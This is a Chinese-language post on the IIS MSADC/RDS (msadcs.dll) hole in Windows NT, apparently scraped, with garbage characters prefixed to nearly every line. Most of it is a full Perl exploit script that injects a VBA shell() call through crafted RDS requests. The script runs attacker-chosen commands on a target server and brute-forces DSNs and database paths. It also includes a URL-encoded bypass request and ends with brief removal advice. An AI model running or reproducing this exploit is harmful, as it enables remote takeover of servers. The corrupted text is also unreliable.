IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
u/UrAqw CYt?,qk-r 涉及程序：
N' F77
. Microsoft NT server
gBd]B03 *tGY6=7O 描述：
*}Xf!"I#]N 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:Oy%a'w
[ m- >5H 详细：
SDL7<ZaE 如果你没有时间读详细内容的话，就删除:
Eu0a kqZ c:\Program Files\Common Files\System\Msadc\msadcs.dll
'Oxy$U
有关的安全问题就没有了。
XUrXnz|> q~rEq%tk 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
] yV ! )"qa k T 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
at @G/? 关于利用ODBC远程漏洞的描述，请参看:
*$#W]bO &g#@3e1> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }? lrU.@zg sm9k/(- 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
t1]K<>g http://www.microsoft.com/security/bulletins/MS99-025faq.asp C=-=_>Q,L< =-tw5],
L 这里不再论述。
3\AU 72- ' -wj9OU 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
bkRLC_/ d n*o-Lo+Fe. /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
} j <)L, 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
__uA}f Zp
_,kj:R. :{{F *FM; #将下面这段保存为txt文件，然后: "perl -x 文件名"
97Lte5c6r Cwr~HY #!perl
^0Zf,40 #
{M3qLf~z#C # MSADC/RDS 'usage' (aka exploit) script
Y&`=jDI #
lVd^
^T*fh # by rain.forest.puppy
84$nT>c #
?xA:@:l/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
iyN :%ofh # beta test and find errors!
'Jiw@t<o3` 9y6-/H
, use Socket; use Getopt::Std;
AJt+p&I[J getopts("e:vd:h:XR", \%args);
`K*Q5n Qd)q([ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
PYiU_ md=TjMaY if (!defined $args{h} && !defined $args{R}) {
JELT o u print qq~
"Hya6k>j Usage: msadc.pl -h <host> { -d <delay> -X -v }
IO wj>t -h <host> = host you want to scan (ip or domain)
o\BOL3H -d <seconds> = delay between calls, default 1 second
1Vsz4P"O $ -X = dump Index Server path table, if available
A_V] yP -v = verbose
]E7F /O/. -e = external dictionary file for step 5
~Uj=^leYO |<HPn4
,X Or a -R will resume a command session
wYd b*"R QFE :tBHe ~; exit;}
kh!FR u h vhe>)h*B $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
VdPtPq1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?OId\'q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
O $LfuL if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!6n_}I-W $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
l#m#c6;= if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
h mvfw:Nq4 kC WEtbz1 if (!defined $args{R}){ $ret = &has_msadc;
oNr-Q& C, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
H[{ F'c[e :C7_J p*Qv print "Please type the NT commandline you want to run (cmd /c assumed):\n"
LVX[uWEM . "cmd /c ";
d<% z
1Dj2 $in=<STDIN>; chomp $in;
B%"
d~5Y $command="cmd /c " . $in ;
81] (T< !4]T XH0f if (defined $args{R}) {&load; exit;}
O80<Z#%j` {^
qcx 8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
6,o~\8ia &try_btcustmr;
|_LU~ 7./ H0:E(}@ print "\nStep 2: Trying to make our own DSN...";
gGvz(R: y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
c*(bO3 b |^0XYBxQ print "\nStep 3: Trying known DSNs...";
H ]P.
x!I &known_dsn;
J
cPtwa;q@ _7<FOOM%8y print "\nStep 4: Trying known .mdbs...";
J{'> uD.@ &known_mdb;
3? [dE< u&1q [0y if (defined $args{e}){
uya.sF0]9B print "\nStep 5: Trying dictionary of DSN names...";
;l4[%xld &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
# G .ulX _|iSF2f,X print "Sorry Charley...maybe next time?\n";
KmMzH`t}` exit;
1=t>HQ 6{x(.= ##############################################################################
,kF1T, ]"J~:{, d sub sendraw { # ripped and modded from whisker
rk&IlAE sleep($delay); # it's a DoS on the server! At least on mine...
N6>(;ugJ1- my ($pstr)=@_;
f) zn TJL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
"*($cQ$v die("Socket problems\n");
)n+Lo&C< if(connect(S,pack "SnA4x8",2,80,$target)){
wy yWyf select(S); $|=1;
|P[w==AAf print $pstr; my @in=<S>;
,eOB(?Ku select(STDOUT); close(S);
C+'/> =>a. return @in;
vo`2\R. } else { die("Can't connect...\n"); }}
05z,b]>l uPhK3nCGo ##############################################################################
t,,k
io _1Y ]N sub make_header { # make the HTTP request
B&\IGWG( my $msadc=<<EOT
Q(@U2a8 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
W6f/T3 User-Agent: ACTIVEDATA
4S5,w(6N Host: $ip
j\,EO+ZQCv Content-Length: $clen
&wi e] Connection: Keep-Alive
Uhe=h&e2k@ V}bjK8$$ ADCClientVersion:01.06
4y)P>c Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
| 1E|hh@k mlixIW2 --!ADM!ROX!YOUR!WORLD!
?a8^1: Content-Type: application/x-varg
<d,b '<z
s Content-Length: $reqlen
L wrUQ) l H-/L( h2 EOT
Z9:-rcr ; $msadc=~s/\n/\r\n/g;
?$vC W|f return $msadc;}
[ OM7g'?S0 rv &<{@AS~ ##############################################################################
e]`[yf G.rrv sub make_req { # make the RDS request
K17j$o^6KK my ($switch, $p1, $p2)=@_;
, 0imiv my $req=""; my $t1, $t2, $query, $dsn;
h^?\xm| { WIJC ',Y if ($switch==1){ # this is the btcustmr.mdb query
g>Y|9 Y $query="Select * from Customers where City=" . make_shell();
8s"%u ) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Q(lo{AFc $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
uZ M{BgXXD 4 NGA/
G elsif ($switch==2){ # this is general make table query
fhar&\;S $query="create table AZZ (B int, C varchar(10))";
>Nvjl~o5 $dsn="$p1";}
s1=X>'q :QpuO1Gu elsif ($switch==3){ # this is general exploit table query
[ p{#XwN $query="select * from AZZ where C=" . make_shell();
s8wmCzB~ $dsn="$p1";}
61. Brp.eP ]gmexa=(i elsif ($switch==4){ # attempt to hork file info from index server
x gbJ2Mh $query="select path from scope()";
{kp"nl$< $dsn="Provider=MSIDXS;";}
9)}[7Mg:C pi /g H elsif ($switch==5){ # bad query
lV`Q{bd+ $query="select";
U mNa[ s $dsn="$p1";}
9
TvV= b6}H$Sx~ $t1= make_unicode($query);
k,'L}SK $t2= make_unicode($dsn);
y<HO:kZ8` $req = "\x02\x00\x03\x00";
I Y2)?"A $req.= "\x08\x00" . pack ("S1", length($t1));
} ~h3c| $req.= "\x00\x00" . $t1 ;
sp #p8@Cj $req.= "\x08\x00" . pack ("S1", length($t2));
wp#'nO $req.= "\x00\x00" . $t2 ;
VSrr`B
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2r!s*b\Ix return $req;}
s~>d:' k7| AmaT0tzJC ##############################################################################
]e^c=O`$ }R1<
0~g sub make_shell { # this makes the shell() statement
E}Y!O"CAV return "'|shell(\"$command\")|'";}
)f}YW/ ' "B = ##############################################################################
}!;s.[y ?3%` bY+3; sub make_unicode { # quick little function to convert to unicode
_9JhL:cY my ($in)=@_; my $out;
cV 5CaaL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6I1,:nLL< return $out;}
)=5 ng- 3{ LP?w :@ ##############################################################################
1 y -y6q /4c\K-Z; sub rdo_success { # checks for RDO return success (this is kludge)
Jd %H2` my (@in) = @_; my $base=content_start(@in);
Fz1_w$^ if($in[$base]=~/multipart\/mixed/){
(IC]?n} return 1 if( $in[$base+10]=~/^\x09\x00/ );}
K%" 5ImM return 0;}
1abtgD L [21 =5S ##############################################################################
3|1i lP w9NHk~LHKF sub make_dsn { # this makes a DSN for us
ux_Mr h' my @drives=("c","d","e","f");
?**+e%$$ print "\nMaking DSN: ";
eln&] d; foreach $drive (@drives) {
2ggdWg7z print "$drive: ";
ZkA U17f my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&Gl wC%$S "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
U4gF(Q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
'@p['# \uI $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
@c<3b2 return 0 if $2 eq "404"; # not found/doesn't exist
LUuZ9$t0J" if($2 eq "200") {
6xWe=QGE foreach $line (@results) {
ANJ$'3tg return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
:Qumb } return 0;}
>iD )eB pV20oSJNt ##############################################################################
MKy[hT: zY,r9<I8_x sub verify_exists {
)6+eNsxMlC my ($page)=@_;
>c9a0A my @results=sendraw("GET $page HTTP/1.0\n\n");
nx8a$vI-TY return $results[0];}
PIH*Rw*GKZ |55N? =8 ##############################################################################
/G5d |P |_`E1Y}} sub try_btcustmr {
T-5nB>) my @drives=("c","d","e","f");
h&`e) a>+ my @dirs=("winnt","winnt35","winnt351","win","windows");
Hz.(qW">5* :@ %4 foreach $dir (@dirs) {
y >72{ print "$dir -> "; # fun status so you can see progress
W0epAGrB foreach $drive (@drives) {
Ys,{8Y,7 print "$drive: "; # ditto
3jlh}t> $l $reqlen=length( make_req(1,$drive,$dir) ) - 28;
/R Ho1 $reqlenlen=length( "$reqlen" );
/[Z,MG $clen= 206 + $reqlenlen + $reqlen;
GG@ md_ )=AHf?hn my @results=sendraw(make_header() . make_req(1,$drive,$dir));
b!sRk@LGZ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
:lB=L r) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O)ME"@r@: 'h^0HE\~p ##############################################################################
,!dh2xNH^ j:E<p_T sub odbc_error {
+RnkJ* l my (@in)=@_; my $base;
J(c{y]` J my $base = content_start(@in);
.a._NW if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
~v]!+`_ J $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jFA{+Yr1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7N:Y?Hi\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
po$ /7 return $in[$base+4].$in[$base+5].$in[$base+6];}
~.UrL(l= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
4$*%gL;f^ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
+m8!U=Zi $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
c0hwc1kv- (N&l HLy ##############################################################################
=0G!f$7^i yqi^>Ce 0 sub verbose {
qIY~dQ| my ($in)=@_;
$OP7l>KZY return if !$verbose;
DdVF, print STDOUT "\n$in\n";}
Gm(b/qDDe |!"2fI ##############################################################################
D3)zk@N \ gLHi~ sub save {
-5T=:2M my ($p1, $p2, $p3, $p4)=@_;
)h k open(OUT, ">rds.save") || print "Problem saving parameters...\n";
B<~ NS)w print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
JaK}| close OUT;}
n84GZ5O>7 E h|]i;G% ##############################################################################
e 46/{4F, K91)qI;BD sub load {
aj?a^ }X my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
zxf"87se open(IN,"<rds.save") || die("Couldn't open rds.save\n");
W2z*91$ @p=<IN>; close(IN);
fH)YFn/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
x-?{ E $target= inet_aton($ip) || die("inet_aton problems");
/w]!wM print "Resuming to $ip ...";
/r- aPJX $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Pv<24:a o if($p[1]==1) {
4"xPr[=iG $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
L3n_ 5| $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
kI:}| _ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Ma+$g1$ if (rdo_success(@results)){print "Success!\n";}
i} N8(B( else { print "failed\n"; verbose(odbc_error(@results));}}
*P#WDXRwd elsif ($p[1]==3){
G 2mX ; if(run_query("$p[3]")){
SF5@Vg print "Success!\n";} else { print "failed\n"; }}
Fr%d}g elsif ($p[1]==4){
:"l-KQ0 if(run_query($drvst . "$p[3]")){
fgBM_c&9T print "Success!\n"; } else { print "failed\n"; }}
!w H'b exit;}
z8 [yt282 lRv eHB&V ##############################################################################
H_0/f8GwnG 2e|N@j
& sub create_table {
hAm`NJMSO my ($in)=@_;
gt/zpiKmV $reqlen=length( make_req(2,$in,"") ) - 28;
%/>Y/!; $reqlenlen=length( "$reqlen" );
&`fh E N $clen= 206 + $reqlenlen + $reqlen;
JXw^/Y$ my @results=sendraw(make_header() . make_req(2,$in,""));
eQVZO>)P1+ return 1 if rdo_success(@results);
+Y
V|ij my $temp= odbc_error(@results); verbose($temp);
J7v|vj I return 1 if $temp=~/Table 'AZZ' already exists/;
@]![o % return 0;}
gd0Vp Xf' Q7g>4GZC ##############################################################################
1Jj Y! ,:%"-`a% sub known_dsn {
w=}uwvn NX # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
]q6;# EUr? my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
(E,Yo "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
7^M9qTEHp "banner", "banners", "ads", "ADCDemo", "ADCTest");
Gdg )9 3
E3 qd' foreach $dSn (@dsns) {
PC qZNBN print ".";
8kbY+W%n next if (!is_access("DSN=$dSn"));
^::EikpF% if(create_table("DSN=$dSn")){
HBY.DCN[Z print "$dSn successful\n";
>OP+^^oZ< if(run_query("DSN=$dSn")){
&bhq`> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
z z ^F
k& print "Something's borked. Use verbose next time\n";}}} print "\n";}
!gLkJ) gZEi]/8_ ##############################################################################
XUF\r]B,9 3&x-}y~sg sub is_access {
@m?QR(LJ my ($in)=@_;
~Aq5X I% i $reqlen=length( make_req(5,$in,"") ) - 28;
St<mDTi $reqlenlen=length( "$reqlen" );
h!# :$|Q $clen= 206 + $reqlenlen + $reqlen;
0I{gJSK., my @results=sendraw(make_header() . make_req(5,$in,""));
< F
)_!0C my $temp= odbc_error(@results);
5VO;s1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
I2 a6w<b return 0;}
h b/]8mR TM8 =U-A ##############################################################################
k Sc{^-<R /c K%n4l.y sub run_query {
%hN.ktZ/s my ($in)=@_;
" v}pdUW $reqlen=length( make_req(3,$in,"") ) - 28;
+f0~D(d! _ $reqlenlen=length( "$reqlen" );
W-
$a
Y2 $clen= 206 + $reqlenlen + $reqlen;
h8 G5GRD my @results=sendraw(make_header() . make_req(3,$in,""));
?k[p<Uo return 1 if rdo_success(@results);
n}mR~YqD my $temp= odbc_error(@results); verbose($temp);
<} jPXEB" return 0;}
|+ U<S~ ICB~_O5 ##############################################################################
Kd3?I5 t d x,=Rd5' sub known_mdb {
1ZJQs 6 my @drives=("c","d","e","f","g");
=TP(
UJ my @dirs=("winnt","winnt35","winnt351","win","windows");
IkzTJ %> my $dir, $drive, $mdb;
#&8 }<8V my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O9(r{Vu7u
@>x pYV # this is sparse, because I don't know of many
LwuF0\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
i{^Z1;Yl "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
YHV-|UNF "\\system32\\certmdb.mdb",
Q{QYB h& "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
/?/ #B ` }%TSGC4{ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Q>q FM9Z "\\cfusion\\cfapps\\forums\\forums_.mdb",
6+K_ Z\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
!5}l&7:(MN "\\cfusion\\cfapps\\security\\realm_.mdb",
6O2=Ns;J6 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-V % gVI[ "\\cfusion\\database\\cfexamples.mdb",
ZiFooA "\\cfusion\\database\\cfsnippets.mdb",
+~nzii3 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
\4ghYQ: "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
*pzq.# "\\cfusion\\brighttiger\\database\\cleam.mdb",
wyxGe<1 "\\cfusion\\database\\smpolicy.mdb",
:`vP}I ^ "\\cfusion\\database\cypress.mdb",
6qo^2 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
>cL{Ya}Rz "\\website\\cgi-win\\dbsample.mdb",
uk`8X` ' "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
qIwV q!= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
fR-C0"c ); #these are just
W</n=D<,I foreach $drive (@drives) {
t j Vh^ foreach $dir (@dirs){
Vy G4(X va foreach $mdb (@sysmdbs) {
Z< b"`ty. print ".";
4\
/ *jA if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
G&eP5'B4i print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
t@?u if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
SKY*.IW/Z print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
9=dkx^q } else { print "Something's borked. Use verbose next time\n"; }}}}}
FZ pKF sPx pL1s@KR foreach $drive (@drives) {
Lp:6 ; foreach $mdb (@mdbs) {
>n.z)ZJ print ".";
m:Go-tk if(create_table($drv . $drive . $dir . $mdb)){
FdOFE.l print "\n" . $drive . $dir . $mdb . " successful\n";
X7*` if(run_query($drv . $drive . $dir . $mdb)){
fn{S
"33" print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
J?:[$ C5 } else { print "Something's borked. Use verbose next time\n"; }}}}
|f 2A89 }
YJ7V`N p !$XHQLqF2 ##############################################################################
ZC^C }U yQ# U sub hork_idx {
3mt%!}S print "\nAttempting to dump Index Server tables...\n";
vC/ [^ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
?T:
jk4+ $reqlen=length( make_req(4,"","") ) - 28;
`kN #4p $reqlenlen=length( "$reqlen" );
QYE7p\ $clen= 206 + $reqlenlen + $reqlen;
WN a0, my @results=sendraw2(make_header() . make_req(4,"",""));
ek-!b!iI if (rdo_success(@results)){
t]_S my $max=@results; my $c; my %d;
6a}r( yP for($c=19; $c<$max; $c++){
ySN V^+ $results[$c]=~s/\x00//g;
@y~ P&HUN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Yig0/ " $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
MXAEX2xmme $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
&w~Xa( uu $d{"$1$2"}="";}
73NZ:h%= foreach $c (keys %d){ print "$c\n"; }
FY;+PY@I{ } else {print "Index server doesn't seem to be installed.\n"; }}
>X Qv?5 mU{4g`Iw ##############################################################################
Nofu7xiDw[ ?H;{~n? sub dsn_dict {
Db03Nk># open(IN, "<$args{e}") || die("Can't open external dictionary\n");
CSn<]%GL while(<IN>){
.5tg4%l $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
X1J;1hRUP next if (!is_access("DSN=$dSn"));
Bmr< O ! if(create_table("DSN=$dSn")){
?KN:r E print "$dSn successful\n";
0~E 6QhV: if(run_query("DSN=$dSn")){
! r&Bn6* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\ %_ZV9cKF print "Something's borked. Use verbose next time\n";}}}
r)l` print "\n"; close(IN);}
n TnRGf\T )BV=|,j ##############################################################################
9fVj
8G ?AsDk ~3 sub sendraw2 { # ripped and modded from whisker
w^VSj%XH! sleep($delay); # it's a DoS on the server! At least on mine...
whkJ pK(
my ($pstr)=@_;
L= 1 ~ f- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8cr NOZS6 die("Socket problems\n");
[Z }B" if(connect(S,pack "SnA4x8",2,80,$target)){
T[Q" }&bB print "Connected. Getting data";
Gi$gtLtN h open(OUT,">raw.out"); my @in;
bejGfc select(S); $|=1; print $pstr;
!;}2F- while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
P \B3
y+) close(OUT); select(STDOUT); close(S); return @in;
6&!l'[ hU } else { die("Can't connect...\n"); }}
I"Q<n[g0' ua& @GXv Z ##############################################################################
U}P,EP%p ~w.2 -D sub content_start { # this will take in the server headers
p zEABA my (@in)=@_; my $c;
,nE&Me&#J for ($c=1;$c<500;$c++) {
ckwF|:e 7* if($in[$c] =~/^\x0d\x0a/){
[yd6gH if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
W8/(;K`/ else { return $c+1; }}}
,Aa|Bd]b
return -1;} # it should never get here actually
Zq?_dIX
% KR k~w] ##############################################################################
X ]s"5ju|t ,t~sV@ap sub funky {
V/H@vKN2 my (@in)=@_; my $error=odbc_error(@in);
wc[c N+p if($error=~/ADO could not find the specified provider/){
T Oy7?;|= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
8W{~wg` exit;}
G' Hh {_: if($error=~/A Handler is required/){
u6_j nZGB print "\nServer has custom handler filters (they most likely are patched)\n";
fPE ? hG<x exit;}
q) _r3 if($error=~/specified Handler has denied Access/){
ER<e X4oU print "\nServer has custom handler filters (they most likely are patched)\n";
8tZ} ;="F exit;}}
46ChMTt KM5 JZZP ##############################################################################
ec'tFL#u{ <d! 6[,W; sub has_msadc {
a J-} my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
M.k|bh8 my $base=content_start(@results);
_7 `E[&v return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
(t74a E pi return 0;}
8kbBz Y +qus ########################
qc-C>Ra |BJqy/ x(6vh2#v D 解决方案：
1~EO+ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Y(z }[`2 2、移除web 目录: /msadc
